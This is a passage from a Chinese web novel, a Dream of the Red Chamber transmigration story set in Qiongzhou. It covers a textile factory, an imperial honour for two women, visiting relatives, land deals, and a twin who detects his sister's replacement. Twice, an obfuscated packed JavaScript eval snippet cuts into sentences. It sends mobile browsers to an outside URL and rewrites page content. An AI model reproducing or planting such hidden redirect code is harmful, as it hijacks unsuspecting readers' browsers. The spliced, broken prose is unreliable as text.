五婶子自然知道这个道理,可她就这一个儿子,如何肯看着儿子涉险:“别扯那些没用的,这几日去铺子里多逛逛,看带些什么礼过去才好。明日我就去找你刘族奶。” 贾芸看看家里一水儿的木质摆件,知道为了送礼,母亲将能典卖的都卖了,成败在此一举,起身点头应了。 五婶子对屋里的寒酸视而不见,今日卖的,早晚都会回来的。第二日吃过早食,五婶子就挂着满脸的笑去了贾家的新宅,见到刘氏就恭喜:“婶子真真是天大的福气,这样好的儿媳妇和亲家都能遇到。” 刘氏昨日做了一晚上的鞋,此时心还是热的。是啊,一晚上够她反应过来的了,她儿媳妇是乡主了,每月有俸禄的那种!不仅是钱财,这是在圣人那里挂了号的啊,想想心里就激动,刘氏眼睛都笑得眯成了一条缝儿,一叠声地吩咐下人上茶水点心。 五婶子见状,好话儿一箩筐地往外冒,恭维了刘氏好一会儿,才问起了去琼州道贺的事儿:“这么大的喜事,家里是瑾哥儿去?” “不是,瑾哥儿要准备秋闱,我娘家侄子衡哥儿是个稳妥的,他代我们两家去。”刘氏捻起一个枣泥糕吃起来。 五婶子都不知道说什么好了,这个刘婶子不知道是真傻还是装傻充愣,这么大的事儿家里都不去个人,也不怕大儿子和儿媳妇多想。心里吐槽完,她扬起笑,出主意道:“不是我说婶子,这么大的事,只派个外祖家的人,终是不妥当。您想想,您那儿媳如今是乡主了,家里不专门派人去贺喜,外人知道了,还以为您对儿媳妇不满呢。就是琼哥儿,只怕面子上也下不来。 瑾儿小,是不能去。要不这样,让我家芸小子代瑾哥儿去一趟,如何?芸小子虽是小辈儿,替他瑾叔走一趟的本事还是有的。一来是显得家里重视,二来只怕琼哥儿那里缺人手,不怕婶子笑话,芸小子在京里也是游手好闲,能去琼州帮帮他琼叔,也是他的造化。要是有用得上芸小子的地方,让琼哥儿只管开口,就是让芸哥儿帮着打理庶务,也是我们的一份心。” 说得刘氏眼眶都红了,一个劲儿地夸五婶子想得周到。 就这么的,圣旨后面坠着密密麻麻的一群人和物,直装满了整个宝船,浩浩汤汤向琼州驶去。 按说圣旨还没到,雷州陈家为什么就出发了呢? 那是因为柳琼信上说,他这里有了新的织布机,能将织布效率提升两倍不说,还能织新花样。陈家就是做绸缎布匹生意的,一看就知道这意味着什么。虽在服丧,但也满一年了,出门问题不大,这才全家出动,一同来了琼州。 雷州离琼州近,陈家虽出发最晚,却是第一个到达。此时纺织厂已经建成,柳琼没急着带人去看纺织机,而是领着参观了纺织厂。 厂房是按照后世工厂的布置,车间区、住宿区、餐饮娱乐区都划分的清清楚楚,与寻常的作坊差别很大。 邬桐指着宿舍区,给众人介绍:“如今机器还少,需要的女工不多,宿舍区盖的不大。因着机器是保密的,女工不能随意进出厂房,初步计划是一个月放三日假,轮流放假,尽量做到不影响生产。” 说着带大家走进厂房,里面机器只有十台,还没有工人。邬桐和黛玉上前给大家演示如何操作,只听见轰隆隆机器启动的声响后,没多久一寸长的布匹有了雏形,慢慢地越来越长,竟是一盏茶功夫,就织出了三寸多长的布。 陈家当家人眼睛登时就发光了。他做了几十年的布匹生意,知道在海外,一匹布能有多畅销。那真是船刚靠岸,就被抢光的节奏啊。如果厂里的机器再多些,以这个速度,只怕不出一年,陈家的生意规模就能扩大一倍。 陈家家主当即就拉住柳琼的手,要跟他谈合作的事。柳琼笑着摆手:“这是夫人和两个妹妹的生意,我可做不了主。走,去食堂看看,午食时间快到了,看看工厂的伙食如何。”香菱虽是只做些后勤的工作,但也出了力,看在甄士隐在前面任劳任怨的份上,柳琼也不能把她落下。 陈家家主见县令一推六二五,竟是不给一句准话,也不恼,好脾气地跟在身后继续参观。当初陈家求娶贾家女,不就是为了生意上能有个靠山嘛,如今就要得利,他又怎会急躁?他儿媳妇姓贾,一笔写不出两个贾字,贾县令迟早会跟他合作的。 柳琼倒不是拿乔,只是给黎峒各峒主发出去的邀请,还没收到多少回音。各峒距离不一,这个急不得,他建纺织厂的目的就是为了给黎人一个赚钱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307796|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机会,自然不会撇下各峒峒主就定下生意的事,只得先拖着。 没想到这一拖,倒是等来了各家来岛贺喜的人。天使不是那么好接的,那得等日光大盛之时,县衙全体官员以及邬桐、林黛玉一齐到城门口恭迎,如今已是傍晚时分,不是吉时,天使们还在船上不能下来呢。当然,一切供应冼县丞等人不用柳琼吩咐,早早送上船了。 夕阳下,刘衡作为柳琼外祖家来人,当仁不让,到了城门口就拉着柳琼的手不放:“哎呦,县令大人,这是等多久了?那报信儿的小厮们真是该打,我们这么些人,少说也得一个时辰才能到城门口,您老人家怎么就等在这里了?” 柳琼比他还虚伪,说的话比他还不要脸:“等表哥,那是再久也等得的。”说完淡淡地瞥了刘衡一眼,两人齐齐打了个哆嗦,恶心的。 柳琼率先移开眼,和贾琏、贾蓉、贾芸和薛蝌打招呼:“琏二哥哥,薛家兄弟,蓉哥儿,芸哥儿,一路辛苦了。走,县衙后宅都安排好了,回去就能休息,半点儿不用你们操心。” 见后面马车里有人,知道有女眷随行,只朝着马车拱拱手,算是打过了招呼。 贾琏、贾蓉、贾芸和柳琼不说多熟悉,之前也是打过交道的,薛蝌却是头一次见柳琼。之前大哥经常夸这人,他还当是大哥识人不明,又被人哄骗了,没想到当真是钟灵毓秀,遂扬起笑脸,抱拳招呼:“麻烦琼大哥哥了。” 柳琼拱拱手,眼神却看向一旁有些瘦弱地邬柏,知道小舅子身子不好,也不多话,带着人就往县衙赶。明日还要去恭迎天使,今晚得早些歇息。到县衙后,男客被迎去了前院正堂,女客被安排去了后宅。 王熙凤带着丰儿,见到了许久未见的邬桐、黛玉、香菱和惜春,眼眶早在进门时就红了。黛玉第一时间起身去拉王熙凤的手:“凤姐姐,你怎么亲自来了?可是家里有事?” “能有什么事。”王熙凤擦擦眼角,笑着说,“我啊,就是懒怠在京里管事儿了,这不,知道你们这里有大喜事,还能坐船出来转转,这可是我专门求了老太太才来的。你不知道,老太太知道你和桐姐儿成了乡主,高兴地多吃了半碗饭呢。” “老太太身子可康健?”黛玉知道王熙凤在家里肯定被排挤了,不然不会有时间来琼州。不过王熙凤历来是最要面子的人,既然有心瞒着,她也不好探究,顺着话问道。 “好着呢,夜里还偷桃儿吃呢,要不是鸳鸯那丫头看得紧,一筐桃儿就没了。”王熙凤笑着说。 几人笑起来,丫鬟们静静地上菜,黑尾虾、梭子蟹、新鲜的章鱼等一一上桌,几人边吃边聊,因明日要去迎天使接圣旨,众人也没多聊,很快就吃好歇息了。 翌日清晨,东方天空还没现出鱼肚白,县衙后宅却已灯火通明,人声嘈杂。 柳琼早早换了衣服,去前院儿和男客们一起用早食。邬桐和黛玉沐浴焚香,今儿个的旨意是特意下给两人的,嬷嬷们恨不能往两人身上泼花露,怎么隆重都不为过。 打扮清爽后,在县衙门口集合,冼县丞带着一干县衙官吏早等着了,见人出来了,沉默地上马车跟在身后,朝码头的方向驶去。 一早儿得到消息的琼州百姓,早将县衙周边的客栈、饭食摊子等包了下来,坐在临窗临街的位置看热闹。见人群静悄悄地不说话,他们也不敢声张,竟觉出些肃杀之气。互相对望几眼,皇家的热闹也不是那么好瞧的啊。 另一头儿,一众官吏到达城门口后,按品阶大小排好顺序,皆立正站好,不敢有丝毫马虎。辰时,天光大亮,远远瞧见一座座金黄色的华盖,缓缓向这边移动,入耳的是一声声铜锣开道的声响。及至近前,柳琼当先对着圣旨叩首。 宣旨大太监高举圣旨,受礼后,才对着柳琼等一众官员颔首,在柳琼的带领下,朝县衙走去。身后,跟着一台台随圣旨而来的赏赐。 34.纺织厂 县衙里,摆香案,跪拜,接旨,一圈儿流程下来,邬桐和林黛玉还没如何,外面围观的百姓倒是惊讶得不行。他们琼州,什么时候一下子出了两个贵女?这可比当日马王两人被拘捕还传奇。那得到消息专门来看热闹的,见当真封赏了女子,才相信之前的传言都是真的。只要有贡献,不论男女,不论出身,都可得封赏。 这些都属于心思多的,那凑巧看到热闹的老百姓,早交头接耳谈开了。县衙从主簿到各差役,这才知道,这位新任县尊大人身后,站着真佛呢。原朝廷一品大员林如海,能直接给太上皇写折子的人物,没见天使对着林大人都客客气气地行礼呢嘛。怪不得能不到一月就收拾了马王二人,他们这些小虾米还蹦跶个什么,乖乖听话才是正经。 女眷那里,王熙凤在内室观礼,绞着帕子羡慕的眼睛都红了。她嫁给琏二,至今爵位都没到琏二身上,以后如何也不敢想,哪像桐姐儿和黛玉这般好命,凭自己得了个诰命。 柳琼亲自招待宣旨公公上座,公公是个知趣儿的,笑着摆手:“洒家在琼州也有一二故旧,就不打扰了。贾县令这几日必定忙乱,洒家这里先恭喜,就不添乱了。” “哪里哪里。”柳琼不敢托大,明白这位知道暗卫的事,也不敢多亲近了,恭敬地送出衙门,这才起身擦擦额头的汗。 一个两个都是人精儿,他这点儿心眼,还是不要到处蹦跶了。回身,县衙里还有人需要招待呢。这么多人过来贺喜,一场大宴是免不了的。 后院,惜春和陈家一行人还没走,贾蓉和贾芸作为小辈儿,特意过来拜见。贾芸倒没什么,惜春见到贾蓉,扭过头不想去瞧。贾蓉有些动容,临行前,爹爹将秦可卿所犯何事,一五一十都告诉他了。直言去了琼州就别回来了,说不得还能留条命,再回京,可能就死无葬身之地了。 此次前来,贾蓉将宁国府一大半家财都带来了。琼州再是穷乡僻壤,有陈家,有琼叔这个县令,他在此地做一个富家翁,还是绰绰有余的。 惜春虽是贾蓉的亲姑姑,但两人又不住在一个府上,面都不常见,有什么感情可言?如今瞥见人红着眼眶,就皱眉有些不喜。在府里时,大哥哥和嫂子都没管过她,难道还指望她管侄儿不成?这侄儿,可比她还大呢。 惜春这才扭过脸,假装没看到。贾蓉低下头,请过安就出去了。在府里,父亲和爷爷伤了姑姑的心,不能去想如何在陈家借力了。好在有这层关系在就行,内里如何,外人又怎么会知道呢。 贾芸见光宣旨就来了这么多人,知道这次来对了,愈发地小心谨慎,事事周全。 贺喜的人中,就贾蓉、贾芸辈分最低,两人请过安后,男女分开入席,热热闹闹吃了一顿接风宴和贺喜宴。岛上的海鲜比京里的新鲜多了,虽做法质朴,众人也都吃得十分尽兴。 因是琼州前所未有的大喜事,岛上的各乡绅、商贾、附近书院的院长先生等都忙忙地往县衙赶,宴席也就成了流水席,贺喜的来了凑一桌就能吃。贾蓉、贾芸两人因辈分小,贾琏向来是脑子活泛的,三人吃过后,难为他们也能舍得下脸,去招待这些曾经不入他们眼的“鄙人”。是以一整日虽忙碌,人多口杂,却也没出任何差错。 等都去歇息了,一处客院里,王熙凤小声跟贾琏商量:“真要在琼州买地?这地方,土地可不像是肥的,来的时候你也见了,居民还是打渔的多。咱就是买地,也不一定在这种地方。” 贾琏靠在床头,揉揉额头,酒喝的有些多,头疼:“别急,这地方果子多,不一定要种地,种果树种甘蔗都是成的。今日刚来,岛上还没转过呢,说什么都早。等我去岛上转悠几日,你在后宅跟桐姐儿、黛玉妹妹多说说话,保不齐就有什么赚钱的营生。” 这两年两人也想开了,家里的爵位没戏,正好抄赖家的银子密了十万两,两人在琼州置产,也能有个后路。这才求了差事,来琼州一趟。 王熙凤点点头,是啊,才来,说什么都太早。 另一边主院的东厢房,人都散了,邬桐才有时间单独和邬柏说话。原身和邬柏是龙凤胎,感情历来好,也许是胎里,原身就抢了邬柏的营养,小少年看着比邬桐瘦弱多了。要不是为了此次贺喜,邬杨是断舍不得让邬柏跑这么远的。 邬桐边为弟弟注入异能,边问起离去半年京中的事:“这半年在京中可还好?林家爹爹不在,京里可有人欺负你?” “姐。”邬柏眼神有些复杂,心里的戒备和担忧放下,释然一笑,真心接受了全新的姐姐。 是的,自从身体好了之后,邬柏就有些怀疑这个姐姐了。两人是龙凤胎,说心心相印有些过了,但他自小能感知到姐姐的情绪。那年被倭寇偷袭,晕倒前他就心口疼,这是每次姐姐出事才会有的反应,可醒来却发现姐姐没事,他的身体也越来越好。但是他和姐姐心心相连的感觉消失了,再也没出现过。他感知不到姐姐的情绪了,也发现,现在的姐姐和以前的有些不同。 他默默观察了两年,没有感觉到这个姐姐的恶意,不仅对哥哥和他没有,对林如海、对黛玉都没有。相反,她在竭尽所能地做好姐姐的责任,在照顾着大家。邬柏将心中的偏见压下,尽量不动声色地和姐姐相处。 此次来贺喜,他是来最后确认一次,原来的姐姐,是否真的消失了。 邬桐心里咯噔一下,看着邬柏的苦笑有些不敢相信,只听少年道:“我知道你不是我姐姐。不过没关系,我观察了近三年,你对我们都没有恶意。姐姐死了,你来了,只要你对我和哥哥好,我就把你当成真正的姐姐。这是姐姐的身体,你要好好待她。” 等邬桐脚步虚浮地回到正屋,柳琼正琢磨突然造访的这一帮子人呢。和陈家的布匹生意还没开始谈,这些人来了正好,有竞争,陈家的诚意才会更足嘛。 刘衡表哥可以负责在京城贩卖布匹。薛蝌不像薛蟠,是典型的商人思维,谁都不会得罪,很适合负责江南一带。陈家负责海贸,贾琏和王熙凤两人滑得跟泥鳅似的,来琼州不一定干什么呢,就算是想插手,荣国府没分家,两人也不敢明着干。贾蓉倒似变了个人,目前还看不透。贾芸是来帮忙的,日后定有差事给他,这个倒是不急。 柳琼将人挨个儿想了一遍,没注意到邬桐一副受打击的样儿,咣当一声坐在椅子上,惊得柳琼一个激灵,忙问道:“这是怎么了?不是去柏哥儿那了嘛,这是受什么刺激了?” “柏哥儿和原身是龙凤胎。”邬桐愣愣地,拿起桌上的茶杯要喝,却发现茶是凉的,将茶杯放下,这才开口道,“柏哥儿察觉我不是原来的桐姐儿,你说,其他人有没有察觉?” 柳琼愣了一下,脸色也有些白,半晌才找到声音:“龙凤胎难见,柏哥儿能察觉也情有可原。其他人......应该是没有察觉的,就算是觉得有些违和,一来他 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“不回就不回吧,最多花天酒地做个纨绔,说不得越是不成器,越是能活。”柳琼打个呵欠,拍拍一边的邬桐,“好了,乡主大人,睡觉吧。明儿还得待客呢。” 可不是待客嘛,黎峒峒主陆陆续续来了,还带来了手巧的妇人。这是听说了生黎和倭寇的事,对新县令的话信服着呢。说是有了新的织布机,要招各峒善织布的妇人过来做活,以纺织为主业的峒主就都来了。 琼州虽说有两千多黎峒,但熟黎也只占一半,其中以纺织为主的,也只占一小半,其他或是做些牙人的买卖,或是耕种打渔为生。织布主要是自给自足,并不往出卖。因此来的峒主不多,不到一百个,各自带了一个善纺织的妇人外,大多还带了两个体健的壮汉,小四百人的队伍,县衙后院肯定是招待不过来的。 柳琼和邬桐把人往纺织厂里带,一路介绍着:“以后就在厂子里干活,吃住都在厂子里,暂时是一个月放三日假。以后具体的章程出来了,会再跟大家说的。 这是夫人和家妹,她们会教你们如何使用机器。” 柳琼说着话,就有妇人一听说要住在厂子里,不高兴地打断:“为何不把机器给各峒送去?我们家在峒里,住在这里又不方便。” 一旁的峒主急忙呵斥了一句,陪笑道:“县令勿怪,这是我家那口子,家里还有几个娃娃,住在这里不行,家里要乱套的。我们以为是有新机器给俺们呢,这不带了几个力气大的,准备搬回去织布呢。没想到是要圈在这里,这可不行。” 是啊,是啊,其他峒主也都摆手不同意。虽然他们熟黎习惯和汉人打交道,但平时生活也是和族人一起的,哪有离开族人单独过日子的。 柳琼愣了下,知道他和邬桐犯了经验主义的错误,用后世的眼光去看待问题了。后世一座座工厂很普遍,大家在里面做工也都不以为意。可那是经过了上百年的演变才形成的,不是他柳琼今日建一个纺织厂就行的。 他沉吟片刻,用商量的口吻道:“如今机器不多,只不到十台,肯定不够分的。要不你们商议商议如何分?在商议个结果之前,女人们先学织布,反正早晚都要学,既然来了,就都学会了再走,如何?” 见大家不再反对,柳琼到底舒了一口气,继续道:“这个厂子是夫人办的,既然大家不想在这里做工,以后就招城里的汉人来做工好了。以后每月第三日,大家集体来这里交布匹,由专人统计后,三个月分一次钱财,如何?” 35.后续 这边安抚好了黎族各峒,邬桐和黛玉忙着教大家如何操作机器。王熙凤那边就得香菱来招待了。王熙凤以前多高傲的一个人啊,如今沦落到被昔日的丫鬟招待的份儿,心里不是不感伤的。只是她心急能不能在纺织厂这个事情上掺一脚,争强好胜的心到底淡了几分。 晚上和贾琏商量时,贾琏也去参观了厂子。说不眼馋那是假的,但这个厂子太扎眼,两人的银子来路不明,不好在这里引人注意,终究还是道:“不行,我知道你眼红,我也眼红。但咱自家人知道自家事,一是家里没分家,二是咱的银子来路不正,不能这么明晃晃地往出拿。低调着些,许是能全身而退,没看蓉哥儿都不打算回去了嘛。” 王熙凤一骨碌坐起来,厉声问:“此话当真?蓉哥儿怎么无缘无故不回京了?可是得罪了珍大哥哥?” “别问。”贾琏摆摆手,低声道,“珍大哥哥前些年混账,这两年可改了不少。无缘无故不让蓉哥儿回去,必是有个缘故。我觉得咱们那十万两银子,至少得拿出七万两在粤海这边置产,不然我心里总是不安生。正好留下昭儿和丰儿在这里看着,还有蓉哥儿帮着打理,总不至于亏了。”平儿作为心腹,在贾家坐镇,这次没跟着一起来。 两人在京里商量的是,拿三万两在粤海置产,没想到贾琏张口就涨到七万两。王熙凤心扑腾扑腾地跳:“可是听到什么了?” “没有。可今日单独跟琼哥儿说了几句,说到东府被拆了牌匾,琼哥儿竟是一点儿不惊讶。可见是料到了的,这不奇怪吗?他好端端的怎么料到这个?”贾琏趴到王熙凤耳边,低语道,“琼哥儿可是进士,不比你我有见识?可见东府是有什么不好,咱们两府虽分家了,但外人瞧着还是一家,万事还是小心为上。粤海琼州这一带远,寻常人不会到这里来置产,实在不行,咱们逃到这里,保住命还是行的。” 说得王熙凤险些晕过去,彻底歇了在府里争权夺利的心,之后几日,专心在粤海这里置产。当然,这是后话。 只说赵姨娘,到粤海后,倒是没急着去琼州,而是带着贾环先到了姚家,见女儿一切安好,小小年纪就当了家,做起了女主人,自然是得了意。赵姨娘是没理都要搅三分的,何况如今她正得意,老毛病又犯了,得意便猖狂,这不,探春看着账本子,赵姨娘在旁边磕着瓜子,时不时呸一声,吐得满地都是瓜子皮儿:“你就让你弟弟在庄子上住着?怎么也得接到家里吧,不行给你弟弟买个庄子,你弟弟好了,以后就是你的靠山,姚家就算是想欺负你,也得掂量掂量不是?” 见探春面露不愉,赵姨娘也不是那会看女儿脸色的性子,当即挑起眉毛,声音更大了些:“当初你能嫁到姚家,有贰万两银子的陪嫁,是不是我出的力?如今好不容易,带着你弟弟从那吃人的地界儿逃出来,你想不认?我也不是狮子大开口,三五百亩的庄子总不算过分吧?以后我和你弟弟就在庄子上过活,那劳什子荣国府我是不会回了。也不怕告诉你,你那大姐姐早晚得坏事,在这里躲着,还能有命在,回去还不定怎么着呢。” 探春放下账本,厉声道:“胡说什么。再如何,大姐姐都是宫里的,是你能随便挂在话瓣儿上的?让人听到了,治你个大不敬,就知道厉害了。” 赵姨娘白了脸,忙转着脑袋四处看,见下人都低着头不敢言语,知道都是被女儿收服了的,这才切一声,往座椅上一靠:“你别吓唬我,你就说我刚说的事儿行不行吧?” “荣国府现在都没分家,庄子是能挂在你名下还是环儿名下?我劝姨娘一句,别闹妖了。好好住着吧,那庄子是我用嫁妆银子买的,附近就有书院,过几日把环儿送过去念书,你去庄子上看着,不是正好?”探春见姨娘没了先前的气势,终是开口劝道,“这几日公公和相公忙着生意的事,过几日就去琼州道贺了。姨娘也去瞧瞧带些什么过去才好,如今桐姐儿和黛玉都是乡主了,大意不得。” 赵姨娘撇撇嘴,终是不情不愿地起身,一扭一摆地出去,收拾带来的贺礼去了。 也就三天功夫,姚家和赵姨娘二人就到了琼州,县衙后宅实在住不下了,只得满城里找客栈。谁知道琼州一下子出了两个乡主的事,传的整个粤海都知道了。广州府那有钱有闲的公子哥儿,一个个都坐着船过来瞧热闹,将整个县城的客栈都住满了。一群人找了三四家客栈,才在一户人家,找到个小院子住。 说来也巧,正是跟马县丞有些关系的人家。当初马县丞势大,很多人都投靠了过去。这户人家本也不是什么大族,属于那种别人怎么做他就怎么做,时刻不出头的那种。这种人就是投靠过去,也是属于小喽啰,拿罪证怎么也拿不到他身上去。偏这家老爷是个胆儿小的,听说马县丞被杀,连夜就要逃。他那庶出的小儿子在家里受够了欺负,不愿意跟着,就留下来看家,这不,如今也没事,爹又不敢回,他且将宅子租出去,赚些钱过活呢。 纺织厂的事很顺利,各峒送过来的都是纺织能手,很快就上手学会了。十台织布机如何分也吵吵出了结果,琼州黎人内部事务,向来是内部自己解决,柳琼也不插手,只让赢了的人好好把织布机搬走,织布机作价一百两银子一台,前两年,每季度从织布的盈利里扣除十二两五钱,两年正好扣完,算是分期卖给了峒族。 见着一个个机器被搬走,赵姨娘非常以及十分的生气,觉得来晚了,没掺和上织布的买卖。且她向来不喜王熙凤,觉得自己没占上的便宜让王熙凤占上了,心里那个难受啊,两天都没给王熙凤好脸。 探春不再理赵姨娘,上次说过之后,知道收敛了,这就不错了。一辈子关在后宅,没什么见识的妇人,这个年纪了,就算再劝,能听进去几句?况且姨娘说的没错,当初嫁过来,她确实出了力,这一年赵家人作为外家,在身边也帮了她不少,就算是给舅舅们面子,也不能不给姨娘一些脸面。 见惜春难得也在,探春拉着手看个不住:“看四妹妹眉眼,倒是开阔不少,我就放心了。” 王熙凤历来和探春关系不错,对惜春就没什么印象,只匆匆看了惜春几眼,而后笑着问探春:“一路可还好?没承想咱们竟在琼州聚着了。要不是有桐姐儿和黛玉的这个喜信儿,不知什么时候才能见一面呢。”说着眼眶就有些红。 “呦呦呦。”邬桐调侃,“让我瞧瞧,泼皮破落户竟多愁善感起来了,当真是稀奇。” “扯你娘的臊!”王熙凤笑骂一句,“你现在是乡主了,我也不敢反驳你,少不得要受些委屈。我一介白身,原也是该的,只探春和惜春妹妹金贵,我舔着脸劝一句,你们以后要是受了委屈也别恼,实在是咱们都是白身,哪敢得罪朝廷命妇呢。” 林黛玉挂着脸蛋子羞王熙凤:“嫂嫂说这话羞也不羞。谁不知道琏二哥哥是正经荣国府长子长孙,将来的爵位不是琏二哥哥的,还能是谁的?到时候你诰命加身,再来说这个话。” 虽私下嘀咕爵位的事十有八九落不到自家爷头上,面上,王熙凤可不能落下乘,听了这话胸膛都挺得更直了些,笑着说:“那看来不受个十年八年的委屈,是不行了。” 这是说公公还有十年八年且活呢,探春惜春对视一眼,低头抿嘴一笑。两人嫁给了商户,自是没机会做诰命,低头时,探春眼里的那一抹落寞,一闪而逝。 惜春笑笑,知道三姐姐原是有大志向的,如今委身商户,自是心有不甘。不过如今能掌管后宅,也算是有事牵绊住了吧。惜春是个不爱揽事的,能在陈家,躲在婆婆嫂子身后,衣食无忧,足矣。 姐妹几人说笑一回,也都各忙各的去了。王熙凤忙什么呢?忙着买地!柳琼跟贾琏商议,想在琼州实验种植甘蔗,他出种子和技术,贾琏和王熙凤出钱,将来四六分,不算占两人便宜。 甘蔗多赚钱啊,那红糖哪个女人不喝,是不是?穷苦人家,过年送礼都体面的。要是能种出来,那可是稳赚不赔。在两广、云南、蜀地等地区,已经有了成熟的甘蔗园,琼州这里目前来的汉人还少,早一步占个甘蔗园,就早一步见着银子。 因此这几日贾琏和王熙凤二人,满岛里逛悠着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336941|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看地呢。澄迈、临高等地离县城都不远,两人正憋着劲儿多买些地呢。赵姨娘向来是个大嘴巴,这事儿且得瞒着她,秘密进行呢。 另一边儿,这两年做生意,刘衡也赚了些钱,且一路和薛蝌同船而来,两人虽一武一文,一流氓一君子,倒意外地聊得来。两人看上什么买卖了呢?做织布机,对的,不卖布,咱卖织布的这个机器。 确切的说是薛蝌看上了这个买卖,薛家本身就是皇商,薛蝌做生意的眼光还是在的。布谁都能织,但机器可是独一无二的,没看到县令大大方方地让大家看嘛,这就是笃定你就是看了,也做不出来。 这就是有独家秘诀的啊,历来独家的东西才最有赚头。薛家铺子、伙计、工匠、商队一样不缺,有了图纸技术,直接就能上手,你说他薛蝌看了能不动心? 要不说商人眼光精准呢,柳琼还没说会卖技术呢,薛蝌就瞧上了。他知道自己一个人怕是难谈成,这才拉上了刘衡一起。无论怎么说,这是县令的外祖家人,这个面子总得给吧? 且他看出来了,贾县令和刘衡关系好,应该是看在刘衡为人赤诚上,这几日与刘衡相交,他也待人以诚,这才能攀上关系。因此拉上刘衡去办公衙门,薛蝌也没左拐右拐地打探,直接开门见山,就问机器图纸能不能卖?怎么开价。 “图纸卖是会卖的,只是不是现在。”对于薛蝌的坦诚,柳琼颇是意外,也没瞒着,一五一十地将打算说了,“你也知道,我是在为朝廷办事,朝廷卖的就是机器,这是独家的买卖,稳赚不赔的。以后就是卖,也得先把前期的投入收回来。估计等织布机出了第三代,这第一代的图纸才会往出卖,怎么也得有两年功夫。” 两年不怕啊,只要到时候能想着薛家,那今日就不算白来。薛蝌马上笑着接话:“那两年后,琼大哥哥卖图纸的时候,可不能忘了薛家。您放心,江南那边薛家熟,这黎锦肯定能卖出去。” “那京城可得交给我。”刘衡适时插嘴,“铺子里正好缺新鲜花样呢,琼哥儿放心,保管卖个好价钱。” 和聪明人说话就是轻松,三人很快达成协议,皆大欢喜。来琼州贺喜的,哪个不是聪明人?徘徊了十几日,吃喝玩乐都来过了,置产的也都置好了,一万亩不算肥的地,花了贾琏五万两银子,剩下两万两交给柳琼,雇长工和管事、施肥等都要花钱,既然说好了他出钱,这个银子自然得预留出来。 等那传旨太监办完了公事要往回走时,呼啦啦一群人又走了个干净。只贾蓉在县城买了处大宅子,邀着贾芸一同住下。贾芸是来投靠柳琼的,如何肯舍县衙而来此处呢,坚决在县衙后院的一处小院子住下。 赵姨娘、贾环母子二人和探春回了广州府,探春如何安置不得而知。琼州城其他瞧热闹的,也陆陆续续回去了,县城这才恢复了正常。 为了盐场的事,姚家的男人倒是又留了一天。琼州四面环岛,晾晒海盐比雷州半岛方便得多,姚家作为盐商,和柳琼这个县令一拍即合。柳琼负责向朝廷申请盐引,姚家负责帮着修建盐场,互惠互利。既然提前一步知道了琼州要建盐场,姚家岂能不掺一脚?不等柳琼提,就拍胸脯,承诺定会派工匠过来,帮着修建盐场。 当然,邬桐没有忘了帮原身的哥哥弟弟在琼州买地。自从那日谈话之后,邬柏就像什么都没发生一样,对她、对林如海哪怕是对林黛玉,都没有表现出一丝异常,是个心思通透之人。邬桐有些替小少年难受,众人皆醉我独醒的感觉并不好吧?哪怕她用了异能帮少年恢复了身体,看着她时,眉宇间还是会偶尔流露出伤心难过。 既然占了原身的便宜,再弥补些吧。邬桐和柳琼商议过后,拿了一万两出来,和贾琏王熙凤一起买了地,也种甘蔗,希望这种甘甜的植物,能帮邬柏,去除心里的那丝苦吧。 至于邬柏本人,柳琼将人留了下来。邬柏是要走科举的,庶务不能不学。如今跟在柳琼身边打打下手,学问有林如海这个昔日的探花负责,邬柏只要不笨,认真学上一两年,回去考中举人不成问题。 36.招工 人走了,邬桐且得休息两日。这几日净忙着准备回礼了,一刻不得闲。宁荣二府、薛家、婆婆那里、外祖刘家、陈家、姚家,还有大哥邬杨那里,八家的礼要送,可不是累着了嘛。 布匹、茶叶都是最寻常的,少不了买些用来打底。干海货作为琼州特产,怎么都得送上一些。还有琼州的一些果子糖,新鲜的能放得住的吃食,都到县城和附近的农家里收,整整拉了十车回来才够分。县城周边的农户倒是因着此事,赚了一笔。 说是休息,其实哪有那么多时间。这不,第二日巳时,也就上午十点左右吧,冼主簿太太和邢司吏太太就带着礼物登门了。不,现在应该叫冼县丞太太和邢典史太太,因着马王二人的落马,琼州县衙官吏出现空缺,冼主簿有意再进一步,知道柳琼无意为难,剿灭倭寇没几日,就带着一船的礼,去广州府走门路了。 盖因县丞需知府委任,柳琼就算是想任命也不行,这不,昨日才回来,错过了好大一场热闹,令两人好一番跌足长叹。不过好在县丞谋到手了,也算幸事。今日一早,冼县丞和邢典史一起,去前衙见县令。邢典史是马王二人落马后就任命了的,典史不算是正式的朝廷命官,县令即可任命,因此邢典史倒是比冼县丞先升职。 后院,冼太太和邢太太热情多了,冼太太后面跟着两个仆妇,抬着一筐子荔枝,特意送进了后院。冼太太笑容爽朗,擦了擦额头的汗,笑着说:“这是我家老爷特意在广州府挑的,说是比那正宗的妃子笑还甜呢。这东西在广州府不贵,县尊太太尝尝,吃个新鲜。” 邢太太还是鞋底子不离手,虽说邢司吏升了典史,但一来时间短,来巴结的人还不多,二来家里确实是人多,她干活干惯了,干坐着说话还不习惯呢,闻言边纳鞋底子边说:“我们昨儿还尝了,确实甜的很。不过好像这东西不能多吃,说是吃多了上火。” 邬桐笑着接话:“可不是。冼姐姐昨日才回来,怎么不多歇两日再来?咱们之间,且不用那些虚客套。” 冼太太笑容更真挚了几分:“这不是来看看两位乡主嘛。偏那几日我和老爷去了广州,错过了天使仪仗,也不知是怎样气派呢。” 